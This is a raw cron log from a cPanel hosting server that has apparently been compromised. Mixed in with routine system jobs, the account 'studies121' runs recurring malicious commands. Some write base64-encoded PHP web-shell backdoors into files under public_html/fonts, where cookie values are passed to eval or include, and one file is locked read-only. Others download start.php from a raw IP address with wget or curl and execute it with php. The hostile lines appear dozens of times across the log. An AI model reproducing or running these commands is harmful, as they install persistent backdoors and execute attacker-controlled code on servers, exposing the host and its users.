Sep  4 15:37:02 ip-184-168-122-23 CROND[15192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:38:01 ip-184-168-122-23 CROND[15367]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:38:01 ip-184-168-122-23 CROND[15368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:38:01 ip-184-168-122-23 CROND[15370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:38:01 ip-184-168-122-23 CROND[15372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:38:01 ip-184-168-122-23 CROND[15369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:39:01 ip-184-168-122-23 CROND[15467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:39:01 ip-184-168-122-23 CROND[15471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:39:01 ip-184-168-122-23 CROND[15473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:39:01 ip-184-168-122-23 CROND[15472]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 15:39:01 ip-184-168-122-23 CROND[15470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:40:01 ip-184-168-122-23 CROND[15587]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 15:40:01 ip-184-168-122-23 CROND[15592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:40:01 ip-184-168-122-23 CROND[15591]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 15:40:01 ip-184-168-122-23 CROND[15594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:40:01 ip-184-168-122-23 CROND[15593]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 15:40:01 ip-184-168-122-23 CROND[15596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:40:01 ip-184-168-122-23 CROND[15597]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:40:01 ip-184-168-122-23 CROND[15595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:41:01 ip-184-168-122-23 CROND[15721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:41:01 ip-184-168-122-23 CROND[15722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:41:01 ip-184-168-122-23 CROND[15723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:41:01 ip-184-168-122-23 CROND[15725]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:42:01 ip-184-168-122-23 CROND[15856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:42:01 ip-184-168-122-23 CROND[15858]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:42:01 ip-184-168-122-23 CROND[15859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:42:01 ip-184-168-122-23 CROND[15861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:42:01 ip-184-168-122-23 CROND[15860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:43:01 ip-184-168-122-23 CROND[16055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:43:01 ip-184-168-122-23 CROND[16056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:43:01 ip-184-168-122-23 CROND[16057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:43:01 ip-184-168-122-23 CROND[16058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:44:02 ip-184-168-122-23 CROND[16175]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:44:02 ip-184-168-122-23 CROND[16176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:44:02 ip-184-168-122-23 CROND[16179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:44:02 ip-184-168-122-23 CROND[16177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:44:02 ip-184-168-122-23 CROND[16178]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:45:01 ip-184-168-122-23 CROND[16287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:45:01 ip-184-168-122-23 CROND[16289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:45:01 ip-184-168-122-23 CROND[16291]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 15:45:01 ip-184-168-122-23 CROND[16288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:45:01 ip-184-168-122-23 CROND[16292]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 15:45:01 ip-184-168-122-23 CROND[16290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:46:01 ip-184-168-122-23 CROND[16414]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 15:46:01 ip-184-168-122-23 CROND[16416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:46:01 ip-184-168-122-23 CROND[16417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:46:01 ip-184-168-122-23 CROND[16418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:46:01 ip-184-168-122-23 CROND[16422]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 15:46:01 ip-184-168-122-23 CROND[16419]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:46:01 ip-184-168-122-23 CROND[16415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:47:01 ip-184-168-122-23 CROND[16504]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:47:01 ip-184-168-122-23 CROND[16507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:47:01 ip-184-168-122-23 CROND[16505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:47:01 ip-184-168-122-23 CROND[16506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:48:01 ip-184-168-122-23 CROND[16586]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:48:01 ip-184-168-122-23 CROND[16588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:48:01 ip-184-168-122-23 CROND[16585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:48:01 ip-184-168-122-23 CROND[16589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:48:01 ip-184-168-122-23 CROND[16587]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:49:01 ip-184-168-122-23 CROND[16757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:49:01 ip-184-168-122-23 CROND[16756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:49:01 ip-184-168-122-23 CROND[16758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
